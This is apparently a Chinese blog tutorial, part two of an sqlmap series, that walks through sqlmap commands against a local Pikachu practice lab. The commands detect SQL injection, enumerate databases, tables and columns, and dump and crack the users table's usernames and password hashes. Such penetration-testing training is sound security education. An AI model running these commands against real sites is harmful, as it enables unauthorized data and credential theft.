当前位置:网站首页>SQLMAP使用教程(二)实战技巧一
SQLMAP使用教程(二)实战技巧一
2022-07-05 06:03:00 【Aτθ】
一、检测注入
检测URL GET参数的是否存在注入:
-u 检测的url
""双引号,表示这是一段字符串。
--dbms 指定攻击的数据引擎
-v 输出信息登记为1
sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1
输入之后sqlmap会自动进行注入,但会有一些进行提示,需要你在终端进行确认,如果使用--batch 会自动进行默认操作,不用进行交互信息确定。
sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 --batch
二、获取敏感信息
确定存在注入之后,接着通过获取敏感信息命令获取
--current-user 用户连接的用户;
--currnet-db 当前库;
--dbs 获取所有库;
--is-dba 是否root权限;
--passwords 获取数据库的密码。
使用这个命令 sqlmap找到密文时,会提示你是否进行hash破解,如果需要选择合适的字典。
eg:
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql --current-user --current-db --is-dba --passwords -v 1 --batch
三、获取表
在获取当前库,可以根据库列出表。
-D 指定库;
--tables 列出所有表。
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu --tables
四、获取表的字段
获取某个表的所有字段。
-T 指定某个表;
--columns 获取字段。
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --columns
五、获取数据
--dump 是导出数据所有内容;
--dump -C "username,password" 获取字段的内容;
获取指定表的所有字段内容:
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --columns --dump
获取指定表、指定字段内容。
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users -C "id,username,password" --dump
六、获取指定条数
获取总条数:
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --count
获取指定id条数:
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --dump --start 2 --stop 3
七、删除缓存文件
参数:--flush-session
如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。
边栏推荐
- 过拟合与正则化
- 数据可视化图表总结(一)
- 【Rust 笔记】17-并发(上)
- Sword finger offer 05 Replace spaces
- The sum of the unique elements of the daily question
- Alu logic operation unit
- Solution to game 10 of the personal field
- Daily question 1342 Number of operations to change the number to 0
- Scope of inline symbol
- Daily question 1984 Minimum difference in student scores
猜你喜欢
[article de jailhouse] jailhouse hypervisor
个人开发的渗透测试工具Satania v1.2更新
全国中职网络安全B模块之国赛题远程代码执行渗透测试 //PHPstudy的后门漏洞分析
Sword finger offer 09 Implementing queues with two stacks
leetcode-6111:螺旋矩阵 IV
Implement a fixed capacity stack
F - Two Exam(AtCoder Beginner Contest 238)
LeetCode 0107.二叉树的层序遍历II - 另一种方法
leetcode-6108:解密消息
Solution to the palindrome string (Luogu p5041 haoi2009)
随机推荐
Sword finger offer 05 Replace spaces
过拟合与正则化
The connection and solution between the shortest Hamilton path and the traveling salesman problem
wordpress切换页面,域名变回了IP地址
leetcode-9:回文数
QQ电脑版取消转义符输入表情
2022年貴州省職業院校技能大賽中職組網絡安全賽項規程
Solution to the palindrome string (Luogu p5041 haoi2009)
1040 Longest Symmetric String
Introduction to convolutional neural network
Educational Codeforces Round 107 (Rated for Div. 2) E. Colorings and Dominoes
从Dijkstra的图灵奖演讲论科技创业者特点
【Rust 笔记】17-并发(下)
Daily question 2013 Detect square
数据可视化图表总结(二)
Sword finger offer 04 Search in two-dimensional array
leetcode-6111:螺旋矩阵 IV
Educational Codeforces Round 116 (Rated for Div. 2) E. Arena
884. Uncommon words in two sentences
CF1637E Best Pair